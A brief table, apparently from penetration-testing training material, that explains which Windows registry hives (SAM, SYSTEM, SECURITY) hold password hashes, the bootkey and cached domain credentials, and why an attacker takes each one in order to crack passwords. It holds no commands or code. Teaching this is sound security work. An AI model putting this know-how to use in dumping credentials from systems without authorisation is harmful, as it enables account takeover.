SAM
Registry Hive
Description
hklm\sam
Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
hklm\system
Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
hklm\security
Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.
